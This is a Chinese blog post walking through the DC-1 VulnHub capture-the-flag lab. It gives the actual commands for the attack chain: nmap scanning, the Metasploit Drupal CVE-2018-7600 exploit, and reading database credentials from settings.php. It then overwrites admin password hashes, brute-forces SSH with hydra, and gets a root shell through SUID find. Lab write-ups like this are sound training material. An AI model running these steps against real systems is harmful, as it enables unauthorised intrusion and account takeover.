新手的第一次DC-1靶场渗透实战过程

新手的第一次DC-1靶场渗透实战过程

一、环境搭建

1.准备工具

渗透工具kali

可以参考下面链接进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

靶机下载

官网下载 https://download.vulnhub.com/dc/DC-1.zip

将下载好的安装包解压 得到 DC-1.ova

image-20250218201056812

打开虚拟机

image-20250218201233224

选择我们刚刚解压好的文件 点击打开

image-20250218201315589

设置好名称选择你要安装的路径

image-20250218201512844

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并耐心等待

image-20250218201556527

出现这个界面代表开启成功,这里要把靶机和kali的网络链接模式改为桥接或者NAT模式,让靶机和kali处于同一网段,这样kali才能收集到靶机的ip地址

“桥接”和“NAT”方式区别 想知道桥接和nat模式的区别可以点击这个链接

image-20250218202547649

二、开始渗透

1.信息搜集

探测目标IP

打开kali 对靶机ip地址进行探测

我们这里使用nmap 对我们网段进行扫描

  • nmap

nmap -sP 192.168.162.1/24 -exclude 192.168.162.1 192.168.162.128

这条命令的作用是使用nmap 扫描当前网段存活的主机 只扫描存活不扫码端口

-exclude是排除这两个ip地址不进行扫描

一个192.168.162.1是我的主机ip 另外一个192.168.162.128是我kali的ip地址

image-20250218203013055

可以看到我的主机上面新增了一个192.168.162.140的IP地址 这是00:0C:29:18:AA:B5它的mac地址 我们打开DC靶机的Mac地址看看

虚拟机 -> 设置 -> 网络适配器 -> 高级

image-20250218203803248

可以看到DC靶机的MAC地址和192.168.162.140的地址一模一样 由此可以确定 这个ip地址就是DC靶机的

探测目标IP开放端口

使用nmap

nmap -sV -p- 192.168.162.140

-sV 扫描目标主机端口上运行的软件信息

-p- 扫描全部端口0-65535

image-20250218204218526

查看网页信息

可以看到 DC靶机开放了80端口 http协议 这里我们用浏览器访问一下

image-20250218205105615

我们使用插件 Wappalyzer可以看到网站的相关信息 可以看到这个网站的CMS是Drupal 7

我们将Drupal放到浏览器里面搜索看看有没有相关漏洞 可以看到是存在相关漏洞的

2.漏洞查看和利用

通过上面的搜索可以看到Drupal在2018年暴出一个关于远程代码的执行漏洞 我们将漏洞编号 CVE-2018-7600放到msfconsole里面进行搜索 可以看到给出了响应工具模块 我们这里使用这个模块

image-20250218205948663

search CVE-2018-7600 查找漏洞

use 0 使用攻击模块

image-20250218210246642

使用 show options 查看当前模块需要填写哪些参数

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

image-20250218210631316

设置我们的rhosts参数 (rhosts就是设置你要攻击的IP地址 这里为DC靶机)

  • set rhosts 192.168.162.140

image-20250218211058199

设置好参数后就可以进行攻击了 这里使用exploit和run都可以

当出现meterpreter已经攻击成功了 接下来我们可以直接上shell

image-20250218211136233

3.GET shell

在这里输入获得普通shell

image-20250218211357248

为了看的更加方便点 这里我们使用交互式shell 使用的前提是对方主机上面必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

image-20250218211550079

使用ls查看当前目录下有哪些文件

ls

image-20250218211622263

发现这个有个flag.txt 使用cat命令查看一下

cat flag1.txt

image-20250218211720812

上面写道 一个好的CMS需要有一个好的配置文件 这里在提示我们去查看Drupal的配置文件

通过浏览器知道 Drupal的配置文件是setting.php它在sites/default下面

image-20250218212014438

我们进入目录

image-20250218212241055

查看当前目录下的配置文件

image-20250218212418684

使用命令 tac settings.php查看文件内容

tac命令用于反向显示文件内容(与cat命令相反)

image-20250218212537421

4.数据库利用

我们上面分别拿到了mysql的和用户密码 这里登录查看

mysql -udbuser -pR0ck3t

image-20250219102655191

查询数据库 show databases;

  • MySQL以分号(;)作为语句结束符。如果用户未在 SHOW DATABASES 后输入分号,MySQL会认为语句未完成,提示符变为 ->,等待继续输入。此时输入后续命令(如 sdf)会被视为同一语句的一部分,导致语法错误。若误输入导致提示符变为 ->,可通过输入 ; 执行当前语句,或输入 \c 取消当前输入
  • 如果提示符出现 ‘’或**' > 说明当前语句并没有闭环 还在继续构造 如果想要结束语句 可以先用 **' 或者 ‘’ 闭=闭合语句 然后再使用\c取消当前输入
image-20250219103837569

看到了drupaldb的数据库了 我们这边再使用命令查询 看看这个数据库下面的表

use drupaldb; show tables;

image-20250219104123886

user 表通常存储着用户的基本信息 这边我们继续查询

select * from users;

可以看到 这里存储这两个用户 一个admin 另外一个 Fred 已经用户对应的经过加密的密码 (因为我这里提前改过了所以我的两个用户的加密密码是一样的)

正常应该是是

| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

image-20250219104422659

密码好复杂 没有办法破解 想登录后台 只能通过去修改admin密码或者新加一个admin

参考 [分享:忘记Drupal的管理员密码的解决办法]

参考了这个文章 可以看到 在Drupal的根目录下面 输入

  • php scripts/password-hash.sh [新密码 例:admin]

输出:

password: admin hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

可以生成admin 对应的加密值

我们回到 /var/www目录下

输入 php scripts/password-hash.sh 123456

复制加密后的密码 回到数据库 更新数据库里面的账户密码

image-20250219110227579

5.更新数据库

回到我们的数据库 输入命令

mysql -udbuser -pR0ck3t;

use drupaldb;update users set pass = "$S$D5QS1LK/40tSqD3k8EThDUZPK6uMOxH8stg5d2XlemkXEMU1qLiI" where name = 'admin' or name = 'Fred';

image-20250219110521351

再查看我们的数据库密码是否修改成功

use drupaldb;select * from users;

image-20250219110649603

可以看到两个账户的密码分别已经修改完成

现在登录我们的网页查看是什么妖魔鬼怪

image-20250219110827869

点击 context ->flag3 便可以看到flag3里面的内容了

翻译了一下 这句话的意思是通过特殊权限(如SUID)使用find命令,并利用其-exec选项执行命令,从而提升权限,最终获取shadow文件中的敏感信息。这通常是在渗透测试中用于权限提升的一种方法。

image-20250219110956401

/etc/passwd

/etc/passwd内容解释(超详细)

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

etc/shadow

Linux /etc/shadow(影子文件)内容解析(超详细)

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

我们查看一下用户信息

  • cat /etc/passwd

image-20250219112019370

我们看到 这里还有一个用户flag4 但是我们不知道它的密码

这里有两个方法 一个是提取 另外一个就是爆破

4.用户密码爆破

我们使用ssh的方式登录 现在我们知道了账户但是还不知道密码

SSH简介及两种远程登录的方法

详情可以参考这个文章 登录非常简单,只需要一条命令,命令格式为: ssh 客户端用户名@服务器ip地址

  • ssh ldz@192.168.0.1

这里我们使用hydra工具来爆破flag4的密码

  • hydra 192.168.162.140 ssh -l flag4 -P /usr/share/wordlists/rockyou.txt.gz -t 16 -Vv -f

image-20250219142354421

爆破出来密码是orange 这边使用ssh进行登录

image-20250219142453844

可以看到已经登录成功了 这边查看一下flag4用户下面有什文件

image-20250219142557525

看到关于flag4.txt 查看

image-20250219142650542

翻译了一下 这段话是提示用户通过SUID提权(尤其是利用find命令)获取root权限,进而访问根目录下的flag文件

5.Linux提权

需要用到SUID提权,参考

简谈SUID提权

利用find命令,找查具有SUID权限的可执行二进制文件

  • find / -perm -u=s -type f 2>/dev/null

image-20250219143248335

这里我们利用find命令/usr/bin/find 具有SUID权限,

  • find / -name index.php -exec "/bin/sh" ;

文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" ; 可直接提权到root

[#!/bin/sh简介]

image-20250219145456469

使用 cat *便可以查看剩下的flag了

image-20250219150214617

这里感谢大佬的分享让我受益匪浅 文章参考

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

posted @ 2025-08-06 11:50  0xMouise  阅读(6)  评论(0)    收藏  举报